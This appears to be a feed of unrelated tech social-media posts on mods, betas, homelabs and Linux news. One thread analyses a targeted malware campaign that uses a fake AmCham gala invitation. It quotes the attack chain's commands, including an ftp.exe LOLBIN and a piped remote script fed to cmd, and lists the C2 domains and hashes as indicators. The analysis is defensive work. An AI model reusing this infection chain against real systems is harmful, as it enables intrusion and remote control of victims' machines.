This new Minecraft mod completely overhauls how inventories function, and I love it! It gives this cool over-the-shoulder 3d perspective to every inventory, with a bunch of configurable options the mod is called "Spatial GUI"

🚨 OK. s&box is free to play this weekend. Download, boot up, and play all the games you can until Monday. sbox.game/games 🕹️

Testers need! OBS Studio 33.0.0 BETA is now available. github.com/obsproject/obs-st… As a Major version (32 -> 33), this is when we perform bigger under the hood changes. Community testing and reports are always crucial for us, but ESPECIALLY for Major version numbers!

Interestingly, this malware is very, very, VERY specifically directed toward individuals, or organizations, which may be attending the AmCham 2026 Gala in Astana, Kazakhstan which is on October 16, 2026

Oh noooo, people like using easy-to-use, plug and play, reliable consumer tech instead of smelting server racks from the iron ore in their backyard How dare they be sensible

Last time on Dragon Ball Z: someone sent me goop (malware) which successfully evaded their EDR and all AVs. It also passed everything on VirusTotal for static-analysis. They sent it to me to bonk with a stick, bonking this whole thing would take me a long time, and I'm not going to do that. I wanted to determine what it was doing, etc. My knowledge on state-sponsored activity and geopolitics in the CIS (Commonwealth of Independent States, ex-Soviet countries) is rusty. However, based on the nature of this goop I would be willing to bet 4 silly pictures of cats this is a state-sponsored malware campaign. 1. The file (a .rar) sent is a fake invitation to the AmCham Kazakhstan's 2026 Gala (or so I assume based on some Google searches) which is happening October 16th, 2026, in Astana, Kazakhstan 2. The file contains two files. A .xz file (unsure what it does still at this time, but it's a JPEG, not a real archive) and a .url file (internet shortcut). The internet shortcut is named "Scanned Image". Likely a masquerading technique. 3. The .url file connects via WebDAV to "file://rappellingaart.com@SSL/secure-docs/3". This directory contains a .lnk (Windows shortcut) and a .ico (Icon file). 4. This is a masquerading effort, the end user must execute the .lnk file to proceed to the remaining payload. The WebDAV appears as a regular directory in File Explorer on Windows 5. The .lnk executes FTP.exe inside System32 and passes the WebDAV path to the .ico file as a LOLBIN, as this: "ftp.exe -s:icon.ico" 6. The .ico acts as a command template and does "!more \\rappellingaart.com@SSL\secure-docs\res.ico|cmd" 7. The res.ico file, which is piped into CMD.exe, creates a series of scheduled tasks, most notably it connects to gomescareerplans(.)com and performs a CURL on the domain under /docs/?vid=%computername%" as a way to register the machine that it has been infected by their payload 8. The res.ico also references the WebDAV URL again and performs a silent installation of "Imp_Details.msi" from \\rappellingaart.com@SSL\secure-docs\Imp_Details.msi 9. Imp_Details.msi contains a section internally labeled Binary._2E9D1C8BAC5D0F288E61BF5987C52203 10. This section is a RAT written in C++. It has a lot of features, lots of different commands, way too much for me to reverse engineer quickly. However, it does internally perform a XOR on a string. It reveals the C2 for the RAT delivered is chestergreenfarming(.)com Invitation .rar: 2fa7498a3bda849c8c5a0e0869708ff113379d54197109a5cdfaea0155e878c9 .Url which launches the WebDAV: 613b6569bd8a4cd75ab11ee9682dd690fabfb11d5c1103caf2ba086e006da034 Weird .xz: fec4f301a1be36a42ec27208e13b5d1d3d0bbe0f1ab47bbab863a7ca9923c571 .ico file (stager): c27ca16248e04f6535ae3e6d1670d740b3884f0fa64935ddfd39faf712f4175d .ico (C2 register, task scheduler): f1060a81c9f68d6f3d23e28f2a1af50fa18ecb9b0a763ca5dcd4b294b6a3593c .MSI (pulled from .ico task scheduler): 4008c8f9e52d3e6fd7df4a980a9a78f46f2412ba2fda10a38aa92d338767c54c .exe inside of .MSI: 5d8df4c2d08cff5f1c0de8eab56e47ae543bd5c6d2ef04573f61ebb9fbc65716 WebDAV: rappellingaart(.)com C2 register: gomescareerplans(.)com RAT C2: chestergreenfarming(.)com

> be me > get dm > "smelly i found goop" > wtf i love goop (malware) > "i work for a company that manages company networks, a customer got sent some files that evades our EDR, all AVs, and passed everything on VirusTotal" > wtf lol > ok > download files > look inside > not regular goop at all > big swinging dick goop Chat, this is not the regular type of goop I see. This goop is very specially written, highly tailored to target very, very, very specific groups of companies, and is doing some really interesting stuff. I am very happy with this goop.

Just a reminder that people who shame others for the tech they use are just really insecure, and those insecurities are often rooted in jealousy. This isn't what happy people do, it's what the miserable do. Misery loves company, that's why they reach out via these posts.

Nothing pisses off people more than me 1. not using "proper server rack" for my 1 person / a couple freelancers content operation 2. using the same NAS hardware that I've had for 8 years 3. doing something that works for me - 100TB, 100TB backup, then one for daily computer backups 4. not having an off site backup (valid! and i mention this in the video) And then anyone who's like hey chill they're automatically "white knighting" or "simping" Being a woman on the internet is fun!! It's also fun freaking ppl out thinking I just put them in a random cabinet. If you watch the video you can see what I did for cooling which works really well :)

Dawg, the FBIs job application portal was compromised on the 22nd of September. Not even A WEEK later they're already arresting people, with the FBI suggesting more arrests are coming. Dawg, ShinyHunters are believed to have performed over $100,000,000 of extortion, but then suddenly when the FBI gets extorted, they go balls to the wall and start cutting heads Where was this gas with the other companies???

An update to the post I made about a man who is dying and was looking for some help to set things up for his wife after he’s gone. @Ubiquiti really showed up! Reddit link in comment

Working on a VR Port for Project Zomboid because I can #projectzomboid #vr

Excited to announce I’ll be a creator heading to homelab festival next year September 12-14 2027 with a ton of awesome creators like @geerlingguy @TomLawrenceTech @TechnoTimLive @crosstalksol @jakkuh_t and plenty more go register now

> be GNOME user > touchpad scrolls way too fast > no setting to slow it down > ask for one, flag it as an accessibility issue > get linked a closed thread from 2024 > patches for it have been sitting in open merge requests for years > ask if anything ever happened with them > "it's a complex topic" > keep pushing, say maybe GNOME isn't for me > "There are plenty of environments for you to choose from" > thread locked

I'm starting a homelab festival (you're invited): homelabfest.org

One more thing I am working on! Hand Tracking on Steam Frame!!! runs locally, using the headsets front facing tracking cameras for hand tracking! It will be open source, it will take a while to get it better, likely to train custom models, but the proof of concept worked!

HAND TRACKING ON STEAM FRAME ALREADY BEING WORKED ON THANKS TO CADE

First teaser for ‘GREMLINS 3’. In theaters on October 6, 2028.

A new COSMIC App! COSMIC Viewer was released today. Browse your library, crop, and annotate your images. Get it in COSMIC Store. Available in Pop!_OS and coming to your favorite distro soon.

Qualcomm announces official Linux support for Snapdragon X2 series chips